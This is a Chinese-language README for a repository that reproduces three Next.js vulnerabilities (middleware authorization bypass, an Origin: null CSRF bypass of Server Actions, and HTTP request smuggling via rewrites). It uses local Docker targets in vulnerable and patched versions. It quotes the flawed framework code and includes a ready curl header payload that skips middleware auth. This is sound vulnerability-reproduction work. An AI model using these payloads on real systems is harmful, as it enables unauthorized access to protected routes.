Nayekah/Next.js-Proof-of-Concept

GitHub: Nayekah/Next.js-Proof-of-Concept

为 Next.js 三个 CVE(中间件绕过、CSRF 绕过、请求走私)提供易受攻击版本与已修复版本的 Docker 并行对比复现环境及自动化利用脚本。

Stars: 0 | Forks: 0

# Next.js CVE 概念验证 本仓库包含三个 Next.js 漏洞的可复现概念验证环境。每个 PoC 都包含一个易受攻击的目标、一个已修复的目标,以及一个用于演示两者行为差异的脚本。 本项目的目标是在最小化的环境中,让每个问题的根本原因和实际影响变得易于观察。 ## 包含的漏洞 | CVE | 公告 | 影响 | 易受攻击版本 | 已修复版本 | | --- | --- | --- | --- | --- | | `CVE-2025-29927` | [GHSA-f82v-jwr5-mffw](https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw) | 当访问控制仅依赖于 middleware 时发生的授权绕过 | `15.2.2` | `15.2.3` | | `CVE-2026-27978` | [GHSA-mq59-m269-xvcx](https://github.com/vercel/next.js/security/advisories/GHSA-mq59-m269-xvcx) | `Origin: null` 绕过 Server Actions CSRF 检查 | `16.1.6` | `16.1.7` | | `CVE-2026-29057` | [GHSA-ggv3-7p47-pfv8](https://github.com/advisories/GHSA-ggv3-7p47-pfv8) | 通过重写到外部后端实现 HTTP 请求走私 | `15.5.12` | `15.5.13` | ## 发布提交和补丁提交 以下哈希值取自上游 `vercel/next.js`。 | CVE | 易受攻击发布提交 | 已修复发布提交 | 相关补丁提交 | | --- | --- | --- | --- | | `CVE-2025-29927` | `v15.2.2` -> `f4552826e1ed15fbeb951be552d67c5a08ad0672` | `v15.2.3` -> `535e26d3c69de49df8bd17618a424cbe65ec897b` | `52a078da3884efe6501613c7834a3d02a91676d2` | | `CVE-2026-27978` | `v16.1.6` -> `adf8c612adddd103647c90ff0f511ea35c57076e` | `v16.1.7` -> `bdf3e3577a6d55ea186a48238d61fbd8da07a626` | `a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8` | | `CVE-2026-29057` | `v15.5.12` -> `d23f41c42506005fe6978e076a1ccbf8979e4925` | `v15.5.13` -> `cfd5f533b08df3038476dcd54f1d6d660d85f069` | `dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6` | ## 仓库布局 ``` . |- docker-compose.yml |- pocs/ | |- cve-2025-29927/ | |- cve-2026-27978/ | `- cve-2026-29057/ `- scripts/ |- run-cve-2025-29927.mjs |- run-cve-2026-27978.mjs `- run-cve-2026-29057.mjs ``` ## 前置条件 1. 安装 Docker Desktop 或 Docker Engine。 2. 确保可以使用 `docker compose`。 3. 在本仓库的根目录运行命令。 ## 启动所有服务 ``` docker compose up --build ``` 暴露的端口: - `3001` -> `CVE-2025-29927` 易受攻击 - `3002` -> `CVE-2025-29927` 已修复 - `3003` -> `CVE-2026-27978` 易受攻击 - `3004` -> `CVE-2026-27978` 已修复 - `3005` -> `CVE-2026-29057` 易受攻击 - `3006` -> `CVE-2026-29057` 已修复 ## 复现 1:CVE-2025-29927 ### 易受攻击的代码路径 在这个 PoC 中,`/dashboard` 仅受 middleware 保护: ``` export function middleware(request) { const session = request.cookies.get('session')?.value if (session !== 'admin') { return NextResponse.redirect(new URL('/login', request.url)) } return NextResponse.next() } ``` 授权检查本身没有错误。问题在于该路由完全依赖于 middleware 执行不能被跳过的假设。 在受影响的 Next.js 版本中,外部请求仍然可以提供内部 header `x-middleware-subrequest`,并且运行时会将该值视为受信任的 middleware 元数据。相关的易受攻击逻辑如下: ``` const INTERNAL_HEADERS = [ 'x-middleware-rewrite', 'x-middleware-redirect', 'x-middleware-set-cookie', 'x-middleware-skip', 'x-middleware-override-headers', 'x-middleware-next', 'x-now-route-matches', 'x-matched-path', ] export const filterInternalHeaders = (headers) => { for (const header in headers) { if (INTERNAL_HEADERS.includes(header)) { delete headers[header] } } } ``` `x-middleware-subrequest` 没有在那里被过滤,因此攻击者控制的输入可以到达 middleware 运行时。然后该值被用于推导递归深度: ``` const subreq = params.request.headers['x-middleware-subrequest'] const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] const depth = subrequests.reduce( (acc, curr) => (curr === params.name ? acc + 1 : acc), 0 ) if (depth >= MAX_RECURSION_DEPTH) { return { response: new Response(null, { headers: { 'x-middleware-next': '1', }, }), } } ``` 如果攻击者发送 `middleware:middleware:middleware:middleware:middleware`,运行时可能会得出已经达到递归深度的结论,从而在不执行应用程序 middleware 的情况下转发该请求。 ### 运行 ``` docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed ``` ``` node scripts/run-cve-2025-29927.mjs http://localhost:3001 node scripts/run-cve-2025-29927.mjs http://localhost:3002 ``` 预期行为: - `3001` 在没有利用 header 的情况下返回重定向,但在带有 `x-middleware-subrequest` 时返回 `200 OK`。 - `3002` 继续重定向到 `/login`,因为内部 header 不再被信任来自外部输入。 ## 复现 2:CVE-2026-27978 ### 易受攻击的代码路径 这个 PoC 暴露了一个普通的 Server Action,它会更改服务器端状态: ``` 'use server' import { cookies } from 'next/headers' import { revalidatePath } from 'next/cache' import { recordTransfer } from '../lib/state' export async function transferFunds(formData) { const cookieStore = await cookies() const session = cookieStore.get('session')?.value if (!session) { throw new Error('Victim session cookie is missing.') } const amount = Number(formData.get('amount') || '0') recordTransfer(session, amount) revalidatePath('/') } ``` 问题不在于 `transferFunds()` 本身。易受攻击的行为存在于 Next.js 针对 Server Actions 的 CSRF 验证中。在受影响的版本中,`Origin: null` 被视为缺少 origin,而不是显式的不透明 origin: ``` const originHeader = req.headers['origin'] const originDomain = typeof originHeader === 'string' && originHeader !== 'null' ? new URL(originHeader).host : undefined const host = parseHostHeader(req.headers) if (!originDomain) { warning = 'Missing `origin` header from a forwarded Server Actions request.' } else if (!host || originDomain !== host.value) { if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) { // Ignore it } else { const error = new Error('Invalid Server Actions request.') // ... } } ``` 因为 `'null'` 变成了 `undefined`,来自不透明 origin(如沙盒 iframe)的请求可以绕过 host/origin 比较路径,并且仍然会在附带受害者 cookie 的情况下被处理。 ### 运行 ``` docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed ``` ``` node scripts/run-cve-2026-27978.mjs http://localhost:3003 node scripts/run-cve-2026-27978.mjs http://localhost:3004 ``` 预期行为: - 脚本以受害者身份登录,从页面提取生成的 Server Action 字段,并使用 `Origin: null` 提交它 - 在易受攻击的目标上,转账状态会发生改变 - 在已修复的目标上,请求失败且状态保持不变 ## 复现 3:CVE-2026-29057 ### 易受攻击的代码路径 这个 PoC 将 `/rewrites/:path*` 重写到外部后端: ``` /** @type {import('next').NextConfig} */ const nextConfig = { async rewrites() { return [ { source: '/rewrites/:path*', destination: 'http://127.0.0.1:4000/rewrites/:path*', }, ] }, } module.exports = nextConfig ``` 易受攻击的行为存在于 Next.js 用于重写的内置 `http-proxy` 依赖项中。在受影响的版本中,针对 `DELETE` 和 `OPTIONS` 请求的代理逻辑可能会添加 `content-length: 0` 并移除 `transfer-encoding`: ``` deleteLength: function deleteLength(req, res, options) { if ( (req.method === 'DELETE' || req.method === 'OPTIONS') && !req.headers['content-length'] ) { req.headers['content-length'] = '0' delete req.headers['transfer-encoding'] } }, ``` 这导致在转发精心构造的分块请求时,代理链和后端之间产生请求边界分歧。结果,第二个请求可以通过同一连接被走私到后端。 ### 运行 ``` docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed ``` ``` node scripts/run-cve-2026-29057.mjs http://localhost:3005 node scripts/run-cve-2026-29057.mjs http://localhost:3006 ``` 预期行为: - 脚本重置观察到的状态,然后发送一个包含走私请求 `GET /secret` 的原始分块 `DELETE /rewrites/poc` 请求 - 在易受攻击的目标上,后端会记录 `DELETE /rewrites/poc` 和 `GET /secret` - 在已修复的目标上,后端仅记录第一个重写请求 观察到的示例输出: ``` $ node scripts/run-cve-2026-29057.mjs http://localhost:3005 [before] {"backendRequests":[]} [after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]} PoC result: vulnerable behavior reproduced. $ node scripts/run-cve-2026-29057.mjs http://localhost:3006 [before] {"backendRequests":[]} [after] {"backendRequests":["DELETE /rewrites/poc"]} PoC result: smuggled request was not observed. This usually means the target is patched. ``` ## 快速手动命令 ### CVE-2025-29927 ``` curl -i http://localhost:3001/dashboard curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard ``` ### CVE-2026-27978 使用提供的脚本,因为 Server Action 字段是由服务器动态生成的。 ### CVE-2026-29057 使用提供的脚本,因为该漏洞利用依赖于带有走私第二个请求的原始 TCP 负载。 ## 来源 - [Next.js 安全公告](https://github.com/vercel/next.js/security/advisories) - [CVE-2025-29927 公告](https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw) - [Middleware 绕过事后分析](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass) - [CVE-2026-27978 公告](https://github.com/vercel/next.js/security/advisories/GHSA-mq59-m269-xvcx) - [CVE-2026-29057 公告](https://github.com/advisories/GHSA-ggv3-7p47-pfv8) - [CVE-2026-29057 补丁提交](https://github.com/vercel/next.js/commit/dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6)
标签:CISA项目, CSRF, CVE-2025-29927, CVE-2026-27978, CVE-2026-29057, Docker, HTTP请求走私, Maven, MITM代理, OSV, PoC, Server Actions, Vercel, Web安全, Web报告查看器, 中间件绕过, 前端安全, 安全防御评估, 数据可视化, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 漏洞验证, 网络安全, 自定义脚本, 蓝队分析, 请求拦截, 路径探测, 隐私保护